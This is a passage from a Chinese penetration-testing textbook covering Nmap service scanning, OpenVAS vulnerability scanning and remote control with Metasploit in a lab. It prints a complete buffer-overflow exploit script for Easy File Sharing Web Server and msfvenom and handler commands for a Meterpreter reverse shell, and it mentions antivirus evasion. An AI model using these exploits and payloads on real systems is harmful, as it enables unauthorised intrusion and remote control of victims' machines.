根据Nmap扫描的结果，目标的操作系统可能为Windows 7、Windows 2008或Windows 8.1中的一种。
 
4.5　使用Nmap扫描目标服务
 
相对操作系统而言，那些安装在操作系统之上的软件更是网络安全的重灾区。所以在对目标进行渗透测试的时候，要尽量地检测出目标系统运行的各种软件。
 
这一节我们来介绍如何使用Nmap扫描出目标系统上运行的服务和软件。
 
在这里，有的读者可能会有些奇怪，在之前的操作中，我们并没有使用Nmap进行服务识别操作，但是也得到了服务类型的信息。这其实很简单，我们知道一般情况下，ftp服务是运行在21端口的，http是80端口，诸如这些端口都是周知（well-know）端口。我们在进行Nmap端口扫描时，Nmap并没有进行服务的识别，而是将端口号在自己的 端口服务表数据库中进行查找，然后返回告诉你一般情况下，这个端口开放的服务是这个，也就是说，这种返回的服务只是数据库中的，并非事实中端口所运行的服务，只是一般情况下大家都会使用固定的端口进行固定的服务。那如果要进行更精确的服务检测呢？Nmap提供了更精确的服务及版本检测选项。我们通过添加选项 –sV 来进行服务和版本识别，服务和版本识别还有更多的选项。
 
 
 	首先进行端口扫描，默认情况下使用SYN扫描。
 
 	进行服务识别，发送探针报文，得到返回确认值，确认服务。
 
 	进行版本识别，发送探针报文，得到返回的报文信息，分析得出服务的版本。
 

 
把Nmap指向一个远程机器，它可能告诉你端口25/tcp、80/tcp和53/udp是开放的。使用包含大约2200个著名的服务的 nmap-services数据库，Nmap可以报告那些端口可能分别对应于一个邮件服务器 (SMTP)、Web服务器(HTTP)和域名服务器(DNS)。这种查询通常是正确的 。事实上，绝大多数在TCP端口25监听的守护进程是邮件服务器。然而，我们不能完全地信赖这一切。很多人完全可以在一些奇怪的端口上运行服务。
 
即使Nmap是对的，假设运行服务的确实是SMTP、HTTP和DNS，这也不是特别详细的信息。当为你的公司或者客户作安全评估(或者甚至简单的网络明细清单)时，你需要知道正在运行什么邮件和域名服务器以及它们的版本。有一个精确的版本号对了解服务器有什么漏洞有巨大帮助。而版本探测可以帮助你获得该信息。
 
在用某种其他类型的扫描方法发现TCP 和/或UDP端口后，版本探测会询问这些端口，确定到底什么服务正在运行。nmap-service-probes数据库包含查询不同服务的探测报文和解析识别响应的匹配表达式。
 
当Nmap从某个服务收到响应，但不能在数据库中找到匹配时，它就打印一个特殊的fingerprint和一个URL给使用者提交，如果使用者确实知道什么服务运行在端口，那么就可以花费几分钟提交这份报告，从而让Nmap更加完善。
 
使用下列参数可打开和控制版本探测。
 
语法规则：nmap -sV [目标]
 
例如我们要对目标上运行的服务和软件进行测试的话：
 
root@kali:# nmap  -sV 192.168.169.131
 
图4-17给出了扫描的结果。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\aaf3ac78\Screenshot from 2017-08-08 22-48-27.png]
 
图4-17　对目标上运行的服务和软件进行扫描的结果
 
这里我们发现了目标主机上运行的服务，也知道了这些软件，可以发现目标主机上80端口上运行着一个名为“Easy File Sharing Web Server httpd”的软件，版本为6.9。记住这个软件，我们在后面的章节中还会利用这个信息。
 
4.6　将Nmap的扫描结果保存为XML文件
 
我们需要将Nmap扫描的结果保存起来，Nmap支持多种保存格式，这里我们只介绍其中最为常用的一种格式。目前最为流行的格式是XML格式。
 
使用下列参数可将扫描的结果保存为XML格式。
 
语法规则：nmap -oX [目标]
 
例如我们要对目标扫描结果保存为XML格式的话：
 
root@kali:# nmap  -oXReport.xml 192.168.169.131
 
图4-18给出了扫描的结果。
 
[image: 图片 6]
 
图4-18　将扫描的结果保存为XML格式
 
目前XML是一种最为流行的报告格式。
 
4.7　小结
 
在本章中，我们以Nmap作为工具，详细地介绍了主动扫描的各种方法。从Nmap的基础用法开始，逐步介绍了如何使用Nmap对目标的在线状态、端口开放情况、操作系统、运行的服务和软件进行扫描。主动扫描的工具其实很多，在Kali Linux 2中就提供了多达数十种，但是最为优秀的扫描工具却非Nmap莫属。
 
Nmap功能极为强大，提供了数十种的扫描技术。新版本的Nmap还实现了NSE脚本编写，极大地扩充了Nmap的功能。这些功能极为强大而实用，作为和Metasploit相并列的渗透行业两大神器之一，要描述Nmap的强大功能需要大量的篇幅，读者如果希望能够深入了解Nmap，可以参考《诸神之眼——Nmap网络安全审计技术揭秘》。
 


第5章　漏洞扫描
 
正所谓“知己知彼百战百胜”，我们要尽可能地去搜集关于目标的信息，而漏洞扫描又是整个信息搜集阶段中极为重要的组成部分。在漏洞扫描阶段，我们要对目标进行扫描来发现这个目标是否存在某种漏洞，这个阶段对工具的依赖性最强，因为目前世界上已知的各种版本的操作系统就有几十种，常见软件大概有几千种。这些操作系统和软件上面的漏洞更是不计其数，如果依靠人工来对目标是否存在某种漏洞进行逐个的分析是极为不现实的。
 
因此对于渗透测试者来说，一个优秀的漏洞扫描器是必不可少的。漏洞扫描器通常是由两个部分组成的，一个是进行扫描的引擎部分，另外一个是包含了世界上大多数系统和软件漏洞特征的特征库。和其他类型的测试工具不同，漏洞扫描器大都是商业软件。这一点也很容易理解，因为世界上每天都会发现新的漏洞，如果没有专业化团队长期维护，便无法保证这些漏洞可以被及时地添加到特征库中。
 
谈到现在优秀的漏洞扫描器，大概要数Rapid7 Nexpose、Tenable Nessus和OpenVas。以我的经验来看，这些工具扫描的结果经常会有较大的差异性，但是3个工具之间并不存在什么优劣之分。每个工具在进行扫描的时候都会存在一定的误报和漏报。所以现在渗透测试业内一般的做法是，如果条件允许的话最好是分别使用这些工具都扫描一遍。这三个工具中Rapid7 Nexpose更适合较大的网络，Tenable Nessus的价格相对更经济一些，这两者都是商业软件，所以使用起来都相当容易上手，只要你输入一个IP地址，就能完成所有的扫描任务。而Openvas的配置和使用相对复杂一些，但是这是一款免费使用的工具，更适合个人使用。这一章中，我们将按照如下几个方面来介绍在Kali Linux 2中如何使用OpenVas。
 
 
 	OpenVas的安装和配置
 
 	使用OpenVas对目标进行漏洞扫描
 
 	查看OpenVas的扫描报告
 

 
5.1　OpenVas的安装和配置
 
目前的OpenVas的引擎已经发布到了8.0，但是默认的Kali Linux 2中并没有包含这个工具。下面我们来安装OpenVas（注意这个安装过程可能要花费很长的时间，而且可能失败，最好在更新前做好虚拟机系统的快照）。
 
首先对我们的Kali Linux 2系统进行更新，首先来更新系统的软件包索引。
 
root@kali:~# apt-get update
 
这里只是更新了索引，所以速度很快，更新操作结束之后如图5-1所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\21597950\Screenshot from 2017-06-21 02-09-44.png]
 
图5-1　使用update来更新系统的软件包索引
 
接下来使用dist-upgrade命令对系统更新，注意这里更新命令使用的不是upgrade，而是dist-upgrade。与upgrade不同的是，dist-upgrade可以根据依赖关系的变化来添加包和删除包。
 
root@kali:~# apt-get dist-upgrade
 
整个更新的过程如图5-2所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\7ca5d4fa\Screenshot from 2017-06-21 02-33-32.png]
 
图5-2　使用dist-upgrade命令对系统更新
 
更新结束之后，就可以安装Openvas了，下载Openvas的命令使用apt-get。
 
root@kali:~# apt-get install openvas
 
整个的下载过程如图5-3所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\fe2a1f60\Screenshot from 2017-06-22 20-36-37.png]
 
图5-3　下载Openvas的过程
 
需要注意的是，如果网速不理想的情况，这个过程会耗时很久。等到下载完成之后就可以执行安装命令openvas-setup。
 
root@kali:~# openvas-setup
 
整个安装的过程如图5-4所示。
 
[image: 图片 2]
 
图5-4　执行openvas-setup
 
安装完成之后，我们执行脚本openvas-check-setup来检查安装过程是否正常，如图5-5所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\a35eb35f\Screenshot from 2017-06-22 20-46-51.png]
 
图5-5　执行openvas-check-setup进行检查的过程
 
如果全部安装过程都无误的话，系统会显示“It seems like your OpenVAS-9 installation is OK”，如图5-6所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\a15eb577\Screenshot from 2017-06-22 20-46-55.png]
 
图5-6　OpenVAS检查无误的结果
 
向Openvas中添加用户名密码，添加的命令为openvasmd，添加用户名的命令为“--user=”，添加密码的命令为“--new-password”，这里我们将用户名和密码都设置为“admin”（在实际操作中不要这样做，这里只是为了方便讲述）。执行的命令为：
 
openvasmd --user=admin --new-password=admin
 
到此为止，Openvas就成功安装到了我们的系统中了。
 
5.2　使用OpenVas对目标进行漏洞扫描
 
OpenVas提供了一个Web化的控制界面。这种控制方式十分方便，只需要一个浏览器，我们就可以在任何一个主机上使用Openvas。现在首先在Kali Linux 2本机上打开这个服务，如图5-7所示。
 
[image: 图片 4]
 
图5-7　启动OpenVAS服务的快捷方式
 
启动成功之后，就会显示如图5-8所示的结果。
 
[image: 图片 8]
 
图5-8　成功启动OpenVAS
 
然后在浏览器中输入地址为127.0.0.1，端口为9392，使用的是https服务，打开以后的浏览器显示如图5-9所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\20d6376d\Screenshot from 2017-06-22 20-51-16.png]
 
图5-9　第一次连接到https://127.0.0.1:9392
 
单击页面右侧的“Advanced”选项，然后单击下方的“Add Exception”按钮，就可以正常打开这个OpenVas的控制界面了，如图5-10所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\325500a0\Screenshot from 2017-06-22 20-51-21.png]
 
图5-10　为OpenVas添加一个例外
 
新版的OpenVas界面上有了一些改变，但仍采用一个绿色的恐龙头骨，如图5-11所示，这也是管理界面名称“Greenbone”（绿骨头）的由来。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\30d6072c\Screenshot from 2017-06-22 20-51-31.png]
 
图5-11　OpenVas的绿骨头管理界面
 
在这个界面中输入我们在安装时设定的用户名和密码即可完成登录，如图5-12所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\7f299ceb\Screenshot from 2017-06-22 20-51-40.png]
 
图5-12　输入用户名和密码
 
用户名和密码正确之后，我们就可以看到OpenVas的操作界面了，如图5-13所示。操作主要是依靠菜单实现的。这里面的菜单选项由“Dashboard”“Scans”“Assets”“SecInfo”“Configuration”“Extra”“Administrator”“help”8个选项共同构成。
 
[image: 图片 12]
 
图5-13　启动之后的OpenVas控制界面
 
下面我们以实例来开始一次对目标的扫描，首先单击菜单栏上的“Scans”，然后在弹出的下拉菜单中选中“Tasks”。
 
图5-14是一个提示界面，关闭即可。然后我们单击快捷工具栏上的星状图标，并在弹出的下拉菜单中选中“New Task”（见图5-15）。
 
[image: 图片 13]
 
图5-14　OpenVas提示界面
 
[image: 图片 11]
 
图5-15　选中OpenVas中的“New Task”菜单选项
 
系统会弹出一个新任务菜单，在这个任务菜单中需要填写名称、注释等，其中最为关键的是目标（“Scan Targets”），如图5-16所示。
 
[image: 图片 14]
 
图5-16　OpenVas中的新任务菜单
 
单击“Scan Targets”右侧的星状图标，就会弹出一个新的目标菜单，我们这里以一个同网段的主机作为扫描的目标，将192.168.169.131作为扫描目标，如图5-17所示。
 
[image: 图片 15]
 
图5-17　创建一个扫描的目标
 
当目标的所有的信息都成功填完之后，单击“create”按钮，完成对该目标的创建之后，系统会返回到任务创建菜单，将目标设定为“target”，如图5-18所示。
 
[image: 图片 16]
 
图5-18　设定要进行扫描的目标
 
除了名字和目标之外，其他的内容保持默认即可，设置结束之后，单击“create”，即可完成任务的创建。图5-19给出了创建好的任务列表，这个列表位于整个页面的最下方。
 
[image: 图片 2]
 
图5-19　任务列表
 
我们选中任务之后，然后单击任务右侧Actions列里面的执行按钮（就是那个有白色三角的绿色按钮），任务就开始了，开始执行之后的Status就会变成黄色的Requested，如图5-20所示。
 
[image: 图片 3]
 
图5-20　启动扫描之后的任务列表
 
在这个扫描过程中，一直到扫描完成，状态都不会发生改变，如果我们希望状态能刷新的话，可以单击上方的“No auto-refresh”将其修改，如图5-21所示。
 
[image: 图片 4]
 
图5-21　修改刷新频率
 
这里我们将刷新频率改为“Refresh every 60 Sec”， 这样每隔一分钟我们就可以看到新的扫描进度了，如图5-22所示。
 
[image: 图片 5]
 
图5-22　显示扫描状态
 
如图5-23所示，当status的值为“Done”的时候，扫描就完成了。
 
[image: 图片 6]
 
图5-23　扫描完成
 
5.3　查看OpenVas的扫描报告
 
当扫描结束后，OpenVas会为我们生成一份详实有效的漏洞扫描报告，如图5-24所示。如果你想查看详细的扫描报告，可以单击Reports中Last下面的数字。
 
[image: 图片 8]
 
图5-24 生成的报告
 
单击图5-24中所示的日期就可以看到报告的详细内容，这里面的内容仍然是以列表形式展现的，如图5-25所示。最左面Vulnerablity显示的是漏洞的名称，Severity显示的是漏洞的威胁级别，Host显示的是存在该漏洞的主机，Location表示漏洞的端口。
 
[image: 图片 9]
 
图5-25　OpenVas扫描漏洞列表
 
这里面显示的漏洞是按照威胁级别从高到低来排列的，可以看到这里面威胁级别最高的是一个SMB Server Multiple Vulnerabilities-Remote(4013389)。如果你对这个漏洞不了解的话，那么可以单击这个漏洞的名称，会显示出该漏洞的详细信息，如图5-26所示。
 
[image: 图片 11]
 
图5-26 “SMB Server Multiple Vulnerabilities-Remote(4013389)”漏洞的详细信息
 
另外我们也可以单击菜单栏上的Scans，然后在下拉菜单中选中“Results”来获得一个图表化的扫描报告，如图5-27所示。
 
[image: 图片 12]
 
图5-27　图表化的扫描报告
 
我们也可以将这份报告按照指定的格式导出，这样就可以获得一份书面的漏洞报告。首先单击菜单上的“Scans”按钮，然后在下拉菜单中选中“Tasks”，单击下面任务中的日期，如图5-28所示。
 
[image: 图片 8]
 
图5-28 打开报告
 
单击日期之后，然后单击这个页面左上方的导出，这里面前面是导出格式，包括CSV、HTML、PDF等多种格式，如图5-29所示。
 
[image: 图片 14]
 
图5-29　OpenVas支持的报告导出格式
 
选择好要导出的格式，例如最为通用的XML格式，然后单击右侧的有白色向下箭头的绿色按钮。OpenVas报告的保存选项如图5-30所示。
 
[image: 说明: C:\Users\admin\Desktop\Screenshot from 2017-08-08 03-21-43.png]
 
图5-30　OpenVas报告的保存选项
 
这份报告默认是保存在Downloads目录中，如图5-31所示。
 
[image: 图片 17]
 
图5-31　保存在Downloads目录中的OpenVas报告
 
这份报告在后面的漏洞渗透阶段会使用到，另外也可以应用在最后的报告编写阶段。
 
5.4　小结
 
在这一章中，我们介绍了在漏洞扫描阶段需要完成的任务。在本章最开始的时候，我们提到了3个相当优秀的漏洞扫描工具，并对它们的优劣进行了比较。
 
接下来我们详细地介绍了OpenVas的使用，首先是如何在Kali Linux 2安装和配置OpenVas，然后是如何使用这个工具对目标进行扫描，最后讲解了OpenVas的报告生成功能。在这个阶段生成的报告十分重要，一来我们需要依靠这份报告来确定在下一个漏洞渗透阶段的工作，二来这份报告也将会是漏洞渗透测试报告的重要组成部分。
 
现在我们已经知道目标系统中存在哪些漏洞了，那么接下来我们该做些什么呢？从下一章开始，我们将会讲解如何利用已经获得的信息对目标进行渗透。
 


第6章　远程控制
 
好了，通过第5章的学习我们已经可以找出目标系统的漏洞了。可是接下来我们的工作是什么呢？在我多年从事网络安全教学的经历中，学生们在此时都会问“老师，我已经发现了目标计算机的某某漏洞，那么接下来该做什么才能入侵进去呢？”。
 
其实接下来要做的很简单，就是向目标系统发送一个程序。这个程序通常由两个子程序构成：一个是针对目标漏洞的渗透程序，为了区分起见，我们将这个子程序称为A；另一个是在目标系统完成指定任务的程序，我们将这个子程序称为B。进行渗透的时候，我们将子程序A和子程序B一起发送到目标系统的特定端口上，子程序A会利用目标系统的漏洞，在目标系统上执行子程序B。子程序B的作用是在目标上执行一些任务，比如远程控制、信息监听、文件下载等。
 
我们将分两章来讲解这两个子程序，本章将会按照如下几点来讲解子程序B。
 
 
 	漏洞渗透模块的简单介绍
 
 	远程控制程序基础
 
 	如何在Kali Linux 2中生成被控端
 
 	如何在Kali Linux 2中启动主控端
 
 	Meterpreter在各种操作系统中的应用
 
 	使用Veil-Evasion绕过杀毒软件
 

 
6.1　漏洞渗透模块的简单介绍
 
我们先来简单了解一下漏洞渗透模块（子程序A），但这只是为了讲述方便，关于漏洞渗透模块（子程序A）的具体讲解将在下一章进行。
 
如果把漏洞比作是一栋建筑物中上了锁的入口的话，那么现在我们需要的就是一把能打开入口的钥匙。而这把钥匙就是漏洞渗透模块，我们的工作就是要找到这个漏洞渗透模块。当然你可以编写一个针对漏洞的渗透模块，但是这需要十分熟练的软件调试、逆向和编程的功底。网络安全渗透测试工作人员即使具备这些技能，往往也没有足够的时间来编写所有的漏洞渗透模块。
 
每个人能完成的工作很有限，但是如果将每个人写的漏洞渗透模块都集中在一起的话，就会像无数的江流汇聚成大海一样，我们在进行漏洞渗透测试时也就会方便很多。网站https://www.exploit-db.com/就完成了这样的工作，我们在这个地址中几乎可以找到当前世界上所有已被发现的漏洞。截至本书编写之前，这个网站已经收集了三万多个漏洞渗透模块，如图6-1所示。
 
[image: 图片 13]
 
图6-1 “www.exploit-db.com/”的主页
 
除了在这个网站中去查找渗透模块，另外也可以使用Kali Linux 2系统自带的漏洞库。在这个系统中保存有一个exploit-db漏洞库的拷贝。我们可以使用“searchsploit”命令在Kali Linux 2中查找需要的渗透模块。
 
例如我们仍然以EasyFileSharing这个软件为目标（在第4章中我们使用Nmap对目标进行扫描，已经得知了目标主机上运行着这个软件）。当我们知道了目标计算机上运行着EasyFileSharing程序之后，就可以在这里面查找和EasyFileSharing有关的漏洞，查找的方法是在Kali Linux 2打开一个终端，然后在其中执行“searchsploit”命令：
 
root@kali：~#searchsploit easy file sharing
 
执行的结果如图6-2所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\e4113149\Screenshot from 2017-07-29 04-17-17.png]
 
图6-2　在Kali Linux 2中查找到的渗透模块
 
图6-2中的表分为两列，左边一列给出了漏洞渗透模块的名称，右边一列给出了所在的位置。例如我们仍然以倒数第二个的远程溢出漏洞渗透模块为例，对应所在的位置/usr/share/exploitdb/ platforms/windows/remote/39009.py。这是一个使用python编写的脚本，利用溢出漏洞实现了在目标计算机执行计算器程序。我们打开这个程序看一下：
 
# Exploit Title: Easy File Sharing Web Server 7.2 - HEAD HTTP request SEH Buffer Overflow
# Date: 12/2/2015
# Exploit Author: ArminCyber
# Contact: Armin.Exploit@gmail.com
# Version: 7.2
# Tested on: XP SP3 EN
# category: Remote Exploit
# Usage: ./exploit.py ip port
import socket
import sys
host = str(sys.argv[1])
port = int(sys.argv[2])
a = socket.socket()
print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))
entire=4500
# Junk
buff = "A"*4061
# Next SEH
buff+= "\xeb\x0A\x90\x90"
# poppop ret
buff+= "\x98\x97\x01\x10"
buff+= "\x90"*19
# calc.exe
# Bad Characters: \x20 \x2f \x5c
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
"\x1c\x39\xbd"
)
buff+= shellcode
buff+= "\x90"*7
buff+= "A"*(4500-4061-4-4-20-len(shellcode)-20)
# HEAD
a.send("HEAD " + buff + " HTTP/1.0\r\n\r\n")
a.close()
print "Done..."
 
在Kali Linux 2下打开一个终端窗口，执行这个Python脚本。在执行时需要提供两个参数（目标主机地址和目标端口），这里面我们以192.168.169.131作为目标主机地址，将80作为目标端口：
 
root@kali:~# python /usr/share/exploitdb/platforms/windows/remote/39009.py   
192.168.169.131 80
 
该命令成功执行之后，渗透模块就会连接到192.168.169.131的80端口，并将指定的代码发送过去：
 
root@kali:~# python /usr/share/exploitdb/platforms/windows/remote/39009.py   
192.168.169.131 80
Connecting to: 192.168.169.131:80
Done...
 
现在，我们到目标计算机上查看一下，如图6-3的所示，可以看到EasyFileSharing这个服务器程序已经崩溃，另外渗透模块成功地在目标主机上启动了计算器程序。
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图6-3　被渗透的目标主机
 
这个Python脚本写得很灵活，如果你希望在目标计算机上实现其他功能的话，只需要使用对应的代码替换掉上面脚本中的Shellcode部分即可。那么接下来就来介绍一下如何获得指定作用的代码。
 
6.2　远程控制程序基础
 
发现了目标的漏洞之后，我们就可以去查找对应的漏洞渗透模块。但是正如本章第1节所演示的那样，单单是别人编写好的漏洞渗透模块并不能实现我们预计的功能。例如上例中我们利用该漏洞渗透模块39009.py实现了对目标的渗透，成功地崩溃了目标系统上运行的EasyFileSharing，并启动了计算器程序，但是如果我们需要在目标上执行其他功能呢？
 
之前我们曾经将漏洞渗透模块比喻成一个进入目标系统的钥匙，现在我们已经获得了这把珍贵的钥匙，接下来我们可以将一段代码（也就是之前提到的Shellcode）送到目标系统并执行。如果可以选择的话，你会希望这段代码实现哪个功能？
 
1）让目标系统上的服务崩溃。
 
2）在目标系统上执行某个程序。
 
3）直接控制目标系统。
 
是不是第3个选择是最激动人心的呢？那么我们希望在目标系统上运行的代码就应该是一个远程控制程序。远程控制程序是一个很常见的计算机用语，指的就是可以在一台设备上操纵另一台设备的软件。
 
通常情况下，远程控制程序一般分成两个部分，即被控端和主控端。如果一台计算机上执行了这个被控端的话，那么就会被另外一台装有主控端的计算机所控制了。曾经在整个中华大地掀起了轰轰烈烈的全民黑客运动的“灰鸽子”就是这样的一个远程控制软件，据统计早在2005年的时候，“灰鸽子”就已经感染了近百万台计算机。
 
现在世界上被广泛使用的远程控制软件有很多种，其中既有一些确实是为人们提供工作便利的正常软件，例如TeamViewer，也有一些是专门为黑客入侵所打造的后门木马。
 
在这里我们并不去考虑这些软件的目的是善意还是恶意，而是从技术的角度对其进行分类。实际上远程控制软件的分类标准有很多，这里我们只介绍两个最为常用的标准。
 
第一个标准就是远程控制软件被控端与主控端的连接方式。按照不同的连接方式，我们可以将远程控制软件分为正向和反向两种。
 
这里我们假设这样一个场景，一个黑客设法在受害者的计算机上执行了远程控制软件服务端，那么我们把黑客现在所使用的计算机称为Hacker，而把受害者所使用的计算机称为A。如果说黑客所使用的远程控制软件是正向的，那么计算机A在执行了这个远程控制服务端之后，只会在自己的主机上打开一个端口，然后等待Hacker计算机的连接，注意此时A计算机并不会去主动通知Hacker计算机（而反向控制软件会），因此黑客必须知道计算机A的IP地址。这导致了正向控制在实际操作中具有很大的困难。
 
而反向远程控制则截然不同，当计算机A在执行了这个远程控制被控端之后，会主动去通知Hacker计算机，“嗨，我现在受你的控制了，请下命令吧”，因此黑客也无需知道计算机A的IP地址，只需要把这个远程控制被控端发送给目标即可。现在黑客所使用的远程控制软件大都采用了反向控制。
 
另外一种常见的分类方法就是按照目标操作系统的不同而分类，这个就很容易理解了，我们平时在Windows上运行的软件大都是exe文件，而Android操作系统上则大都是apk文件。显然你制造的一个Windows平台下使用的远程控制被控端对于手机使用的Android操作系统是毫无作用的。目前常见的操作系统主要有微软的Windows、谷歌的Android、苹果的iOS以及各种的Linux系统。
 
另外随着互联网的不断发展，针对各种网站开发技术的远程控制软件也出现了，这些远程控制软件也都采用和网站开发相同的语言，例如asp、php等。
 
6.3　如何在Kali Linux 2中生成被控端
 
上一节中我们讲到了远程控制软件中的被控端和主控端必须是成对使用的，被控端就是要运行在目标计算机上的，这个程序的功能听起来和木马很像，实际上也是如此。另外实际上我们要在渗透漏洞代码中替换的Shellcode部分就是这个远程控制程序的被控端的代码。现在我们先来学习一下如何生成被控端（这个被控端既可以是一段代码，也可以是一个直接执行的程序）。
 
在Kali Linux 2中提供了多个可以用来产生远程控制被控端程序的方式，但是其中最为简单强大的方法应该要数Msfvenom命令了。这个命令是著名渗透测试软件Metasploit的一个功能，但是我们可以直接在Kali Linux 2中使用这个命令。
 
以前旧版本的Metasploit中提供了两条关于远程控制被控端程序的命令，其中msfpayload负责用来生成攻击载荷，msfencode负责对攻击载荷进行编码。新版本的Metasploit中将这两条命令整合成为了msfvenom命令，下面给出了msfvenom的几个常见的使用参数。
 
Options:
-p, --payload        <payload>指定要生成的payload(攻击荷载)。如果需要使用自定义的payload，请使用'-'或者stdin指定
-f, --format        <format>指定输出格式 (可以使用 --help-formats 来获取msf支持的输出格式列表)
-o, --out        <path>指定存储payload的位置
--payload-options            列举payload的标准选项
--help-formats            查看msf支持的输出格式列表
 
这里面的参数很多，但是实际使用起来很简单，例如我们如果只是希望生成一个简单的被控端程序，那么只需要使用参数-p、-f和-o即可，分别指定要使用的被控端程序（通常可以使用Metasploit中内置的被控端程序，我们会在后面中对此进行详细的介绍）、要应用的平台（这里我们以windows为例）、保存的位置。
 
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.169.130 lport=5000 -f exe -o /root/payload.exe
 
执行的结果如图6-4所示。
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图6-4　生成攻击载荷的过程
 
这里面我们使用最简单的msfvenom命令来生成一个被控端程序，使用的被控端程序就是一个用于Windows平台下的反向远程控制程序：windows/meterpreter/reverse_tcp，它的参数lhost的值为192.168.169.130（这个地址也就是我们所使用的Kali Linux 2虚拟机的IP地址），生成的文件如图6-5所示。
 
[image: 图片 11]
 
图6-5　生成的被控端程序文件
 
6.4　如何在Kali Linux2中启动主控端
 
如果我们让这个文件在某一台计算机上执行的话，那么这台计算机就会立刻回连到192.168.169.130上，但是我们这时还没有一个主控端，所以我们需要启动一个远程控制文件的主控端。这个主控端需要在Metasploit中启动（关于Metasploit的使用方法我们将在下一章中详细介绍），首先打开一个终端然后输入msfconsole启动Metasploit。
 
root@kali:~# msfconsole
 
启动之后的Metasploit界面如图6-6所示。
 
[image: 图片 2]
 
图6-6　启动之后的Metasploit
 
在Metasploit中使用handler来作为主控端，这个handler位于exploit下的multi目录中，启动handler的命令如下：
 
msf> use exploit/multi/handler
 
然后设置payload（它其实就是前文的被控端程序）为windows/meterpreter/revese_tcp，设置lhost为192.168.169.130（192.168.169.130为我们之前所设置的lhost），lport为5000，如图6-7所示，然后exploit等待对方上线。
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图6-7　在Metasploit中启动handler
 
这样我们就启动了一个专门为刚才的被控端程序所设置的处理程序，这个处理程序只会监听来自感染了被控端程序的通信。我们在目标计算机上可以双击启动这个被控端程序，如图6-8所示。
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图6-8　在Windows XP中双击启动被控端程序
 
然后我们返回到Kali Linux 2中就会看到在Metasploit中打开了一个session，这表示从现在开始起我们就可以通过被控端程序来控制目标计算机了，如图6-9所示。
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图6-9　成功获取Meterpreter
 
这时可以看到在session打开之后，下面出现了一个Meterpreter，它其实就是一个被控端程序。Meterpreter是运行在内存中的，通过注入dll文件实现，在目标计算机的硬盘上不会留下文件痕迹，所以在被入侵时很难找到。
 
6.5　Meterpreter在各种操作系统中的应用
 
前面我们使用msfvenom生成了一个最简单的被控端程序，它是基于Metasploit中提供的windows/meterpreter/reverse_tcp生成的。Metasploit中的Payload（可以直接在目标计算机上直接执行的代码）分类下提供了大量的被控端程序，本书中后面的Payload也可以等同于被控端程序，我们可以使用如下命令来查看所有可以使用的Payload。
 
root@kali:~#msfvenom -l payloads
 
这个命令执行的结果列出了当前系统的一共486个Payload，如图6-10所示。
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图6-10　列出Metasploit中的全部Payload
 
这里面的列表分成两列，第一列是Payload的名称，第二列是对Payload的描述。所有的Payload模块的名字都采用三段式的标准，就是采用针对的操作系统+控制方式+模块具体名称共同组合而成。例如上例中的windows/meterpreter/reverse_tcp模块的命名模式就如表6-1所示。
 
表6-1　模块命名模式
 
 
  
   
   	 针对的操作系统
  
   	 控制方式
  
   	 模块的名称
  
  
 
  
  
   
   	 windows
  
   	 /meterpreter
  
   	 /reverse_tcp
  
  
 
  

 
这里面的486个Payload按照操作系统进行了分类，这些操作系统包括我们最为常见的Windows、Linux、Android、Osx等，以前Windows方面的Payload的使用率是最高的，而随着现在移动设备的普及， Android方面Payload模块已经后来居上了。
 
而这些payload提供的控制方式也并不相同，主要有shell和Meterpreter等几种，其中的Meterpreter是Metasploit中最为优秀的一种控制方式，本书中的所有实例都采用了这种控制方式。
 
最后面模块的名称中，一般会标识出该payload采用的是正向还是反向的方式，以及采用了哪一种网络协议进行传输，例如本例中的reverse_tcp表示的就是采用了TCP协议的反向控制。
 
例如我们这次渗透测试的目标是一个Windows操作系统，那么在选择Payload的时候，就要首先去考虑那些在Windows分类下的Payload。
 
每个payload在使用的时候都需要设定一些参数，例如本例中使用的reverse_tcp是一个反向木马，它在运行之后会去主动连接控制端，我们必须要给出控制端的IP地址和端口。
 
如果你现在并不了解某个Payload使用方法的话，可以使用选项--payload-options来查看这个payload需要设置的参数：
 
root# msfvenom –p windows/meterpreter/reverse_tcp --payload-options
 
执行之后，我们就可以看见这个Payload的详细信息了，如图6-11所示。
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图6-11　当前Payload的参数
 
其中方框圈起来的部分就是我们需要设置的参数，这个参数信息是以一个表格的形式给出，一共分成4列，第一列为参数的名称，第二列为参数的默认值，第三列为参数值是否为必须，第四列为对这个参数的介绍。
 
当前这个Payload有EXITFUNC、LHOST、LPORT 3个参数，其中EXITFUNC保持默认值即可，LHOST是控制端的IP地址，通常就是你现在使用的那台计算机的IP地址，LPORT是控制端的端口，这个值可以是任意一个未使用的端口，默认值是4444，保持默认值即可。
 
这些生成的Payload都是一些代码，这些代码可以编译成可以直接执行的格式，例如在Windows下可执行的exe文件。Metasploit中提供了很多种格式，我们可以使用--help-formats来查看所有支持的格式：
 
root@kali:~# msfvenom --help-formats
 
